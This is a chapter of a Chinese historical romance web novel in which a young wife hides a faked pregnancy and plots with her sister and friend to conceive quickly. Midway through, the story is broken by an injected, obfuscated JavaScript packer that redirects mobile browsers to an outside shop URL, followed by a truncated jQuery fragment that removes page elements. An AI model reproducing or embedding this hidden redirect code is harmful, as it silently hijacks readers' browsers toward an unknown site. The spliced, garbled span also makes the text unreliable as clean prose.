“郎君?”
乌衔枝低声催促。
俞临川轻抬眼眸,余光无意间瞥过乌衔枝纤细的腰肢,如鸟雀掠过湖面,一瞬未停,便不算逾矩,可抚摸不行:“二娘子还在呢。”
“这有什么的。”乌衔枝拉起俞临川的手往自己的肚子上靠,“郎君不想摸摸小郎君吗?”
反正怀孕一个多月的肚子和没怀孕没什么两样,光靠贴着肚皮摸是摸不出来的。
如此忽悠一下俞临川,也好让他别再关心傅子真送的破烂。
乌衔枝从未想过和自家郎君说实话,毕竟俞涉川是真听老夫人的话。若让他知道她假孕骗老夫人,俞涉川不仅不会帮忙遮掩,反而会伙同老夫人一同批判她。
更别提傅子真的事。
她只能将这一切都咽进肚子里。
乌衔枝心里打定主意,嘴角弧度又深三分,语气调侃又亲昵:“郎君又不是没摸过。”
他哪里摸过?
俞临川耳尖霎时红了,指尖刚触碰到乌衔枝衣角,他便如触电般飞速收回,起身的动作略显僵硬,舌头也打起了结:“前、前头事多,我去忙、忙。”
“好。”乌衔枝扯住差点从指尖溜走的衣袖,起身靠近,垂首轻弹俞临川衣领,“记得早些回来用晚膳。”
俞临川腾得站起,喉结滚动,嘴角翕动,却紧张得说不出一个字来。
他不敢多看乌衔枝,闷头直朝外去,身姿挺拔,步履矫健,背影如松,只是急促的脚步略显凌乱,将他拼命遮掩的无措暴露无遗。
乌觅珠见他出了院子,赶紧起身挽住乌衔枝,附耳轻声关切:“姐夫没发现什么吧?”
说着眼神瞥了瞥放嫁衣的木箱。
乌衔枝摇头笃定道:“没有,若是见了,就不会要看这幅画了。幸好你手快,不然让他知晓是我少时之作,又要多费口舌。”
闺阁三绝的名声太过响亮,以致她搁笔后无数人旁敲侧击地来问,乌衔枝闭门不见人,可也逃不过她阿爷的逼问。
“我画不出了。”
这样的原由她阿爷和俞涉川都不信,一遍遍的解释换来的只有不解和追问,“想拿乔也不是这样的!你那么有天赋,怎么会画不出,到底怎么样你才肯画?!”
“我就怕这个呢。”乌觅珠松了口气,忍笑打趣,“那他这是不好意思了?姐夫和传闻中不太一样啊,阿姐,你们成婚也有三年了,他怎么还和毛头小子似的?这么不经逗。”
乌衔枝拉着她的手坐下,挑了块胡饼塞进她呵呵笑的嘴里:“快吃罢!”
乌觅珠就着乌衔枝的手咬了一大口,而后端起羊乳猛灌半碗,羊乳带着胡饼下肚,她长舒一口气感叹道:“阿娘当年逼着你应下这门亲事时还觉着天塌了,现下看来却是不错,这叫什么来着……对,阴差阳错,缘分使然!”
“一眼看到底、一逗就脸红、宽肩窄腰、长得俊又武艺高超,阿姐怕是喜欢得不得了吧。”
乌觅珠说着没忍住又笑出了声,“真好。”
“还是二妹最懂我。”
乌衔枝拧了拧乌觅珠圆润的脸蛋,调侃道,“二妹看阿姐喜不喜欢你啊。”
乌觅珠憨笑着抬脸由她拧,毫不犹豫从嘴缝里挤出六个字来:“我也喜欢阿姐。”
自家二妹如此可爱,乌衔枝不舍她疼,松了手揉了两下,轻笑道:“你姐夫原也不这样,许是经此一遭,人懵了或是想通了。”
若是能一直如此,乌衔枝竟觉着这日子也有了几分盼头。
只是不管如何自家郎君因何性情大变,乌衔枝的当务之急还是先怀孕。
“你们倒是一点不急。”
云苓听闻宫里来了人,放下手里药材就往这儿赶,一入锦舒院便见姐妹二人于树下嬉笑打骂,好不自在快活,她急得不行,匆忙环顾一圈,见丫鬟们都不在近前,急问,“昨夜睡得如何?宫里来人是怎么个意思?”
乌觅珠捂了她的嘴,按着她坐下,低声质问:“你早就知道了?怎得都瞒着我!今儿真吓死我了!”
“先吃早膳罢!”乌衔枝瞥了眼不远处的留青,眼神示意二人都住嘴,“什么急事能比吃饭重要。”
三人自幼一同长大,一个眼神便都心领神会。
乌衔枝终于能心无旁骛地享用美食,乌觅珠味同嚼蜡,云苓更是坐立难安,见二人吃完,赶忙拉着二人进了屋。
“先说今早是怎么回事?!”
屋门甫一合上,云苓便焦急问道。
乌衔枝边用帕子擦嘴,边安抚道:“没什么大事。”
乌觅珠亦道:“能有什么大事,送了好些珍宝珠玩来,我瞧着好得不得了,他真真是一片好心。”
“呸!他能安什么好心!”云苓猛啐一口,恶狠狠道,“他是什么样的人,咱们六年前就开了眼了,知微,你可别好了伤疤忘了疼!”
乌觅珠低下头,眼珠一转,闷声诺诺道:“我一直都记着呢。”
她的伤疤她一刻也忘不掉,每一次的午夜梦回,都让它愈发深入骨髓,历久弥新。
“知微就是贪玩了些,何苦这般疾言厉色。”乌衔枝拉过云苓,抚平她拧成一团的眉心,“六年了,我不可能再在他身上栽跟头了,云苓你放宽心。”
“那些东西既是天子赏赐,也没有拒收的理由,知微喜欢就随她拿去耍罢,咱以不变应万变就是。”
云苓瞥了眼怯懦躲在乌衔枝身后,试探着伸出脑袋看她的乌觅珠,终是软了心肠,她缓声道:“方才我急过了头,说话重了些,你别和我一般见识了罢。”
“你把我想歪了,我却不会把你想歪。”
乌觅珠从乌衔枝身后钻了出来,欢喜地拉起云苓和乌衔枝的手,直往榻上去,“你为我和阿姐操碎了心,有的没的都惦记着,也不嫌心累!咱三难得凑在一处,不如烦人的事暂且都忘了,好好歇歇罢!”
三人如少时般并排侧躺在榻上,六只脚齐齐搭上墙,轻盈的床纱从三人头顶拂过,将床榻封成小小一方空间,好似与世隔绝般。
难得偷闲半日,心里却都揣着事,终难心安。
“昨夜成了吗?”云苓最先没忍住,她拽动乌衔枝纤细手指,低声问道。
不待乌衔枝答,乌觅珠先痛心疾首道:“你早就知道了!就瞒着我!”
“说好昨儿来,来了能不和你说?”乌衔枝揉着乌觅珠白嫩细腻的小臂,“幸好今早来了,不然你阿姐我是真不知该怎么办了。”
“那古太医也忒烦人。”乌觅珠将手搭在乌衔枝肚子上,由着她揉着玩,“现下可如何是好?”
装病容易,装怀孕也不难,可想要从空肚皮里生出个小娃娃来却是难如登天。
如今乌衔枝用了乌觅珠的月份,谎称有了一月多身孕,现下肚子还看不出来,可随着乌觅珠的肚子越来越大,她怎么办呢?
八个月后乌觅珠生产,她又怎么办呢?
乌衔枝只道:“我会尽快怀孕的。”
说到这个云苓就来气:“昨儿怎么没成?”
她是随乌衔枝一同来的俞家,自是知晓俞涉川对乌衔枝□□上的喜爱。
云苓一直觉着,若非俞涉川一两个月才归家三五日,乌衔枝起先对他也冷淡,后来乌衔枝虽盼着俞涉川回来,但对他的不喜是打心底的,难得一次的亲密也不会太愉快。
不然孩子怕是早就有了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794891|210233||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你可别和我说你使尽了手段,他推开了你。”云苓恨铁不成钢。
乌衔枝不由想起俞临川那起伏的腹肌、僵住的胸肌、躲闪的眼神和红彤彤的耳尖,她微微红了脸,没好意思道:“二郎刚去,他心下难免伤怀,我怎好意思勾着他干那档子事。”
乌觅珠睡在中间,笑戳乌衔枝泛红脸颊:“阿姐脸皮真薄。”
另一侧的云苓急道:“他能被你勾动,怕是也没多伤心。”
说完又觉这话太恶毒,呸了一口才道:“算了,昨晚情有可原,今儿可不成了!”
乌衔枝抓住乌觅珠乱戳的手指,应道:“好!”
“七日,七日内一定要成!”云苓认真掰着手指算日子,“原说你怀孕不足月余,还可争取半月时间,可如今用了知微的月份,那就只有七日了。”
“若知微的胎到两个月,你还没怀上,那就真完了。”
“肚子大小还可找些理由搪塞过去,可这世上断没有怀胎十二个月还不生产的道理。”
“到时俞涉川可不会体谅你,说你情有可原!”
乌觅珠咽了咽口水:“还在头七呢……这么急吗……?”
“又不是要他命!”云苓冷哼道,“这事儿还能委屈他了?怕是快活都来不及呢!”
“就说咱们,脸面重要,还是命重要?若是因为要脸,耽搁了这几日,日后就是怀上,月份也会差太多,怀胎十二月还不生娃,该如何解释?”
“太医再来一趟,岂不是全露馅了?”
“到时候就是咱一人长八张嘴也解释不清!”
“他们要说雀娘怀的不是俞家的种怎么办?要说什么妖怪啊,邪术啊,又怎么办?”
乌觅珠白了脸,怔愣着说不出话来。
“云苓,我一向是惜命的。”乌衔枝垂眸道,“择日不如撞日,昨儿我饶了他,今儿可不能够了。药的事就拜托你了。”
什么都没自家性命重要,她如今也顾不上那许多了。
今夜酒菜齐备,她绝不再手软。
见乌衔枝看得明白,云苓放心了一大半,她道:“药我已配好,炉上煎着,等会儿回去我再添上几味,晚膳前给你送来,会略苦些,你忍忍。”
“好,苦这一次不打紧。”乌衔枝将头埋进乌觅珠脖颈,喃喃道:“若是真有身孕,这日子也能稀里糊涂过下去。”
云苓也搂上乌觅珠。
乌觅珠一手抱一个,喂叹道:“若能一直这样就好了。”
三人窝成一团,都舍不得睡,说得口干舌燥,心里暖烘烘的,天却渐渐暗了。
又到了该散的时候。
乌衔枝命人将那箱人参搬去云苓院子,其余的都搬到乌觅珠那儿去,她什么也没留,落得个松快,满心都是夜里的事。
片好的鹿肉随炉子一齐放在树下,只待俞临川回来后点燃炙烤,石榴酒香飘满院。
可随云苓一同去端药的碧桃都回来了,俞临川却还久久不见身影。
晚膳的时辰已过了一刻。
乌衔枝心里隐隐有些不快,白日里俞临川走时,她便和他说了,早些回来用晚膳,现下别说早,是比平日都晚了却还不见人影。
她不想再等了:“前头再多事这时辰也该忙完了,留青,去前院唤郎君回来用晚膳。”
留青心里也急,领了命就朝前院去。
不想一刻钟后,不仅俞临川没回来,连留青也没有。
乌衔枝端起还有些烫的汤药,一口饮尽,而后吩咐道:“来人,端上鹿肉和炉子,还有石榴酒,随我亲自去前院寻郎君用晚膳。”
她倒要看看,什么人、什么事能碍得了她今晚的大事。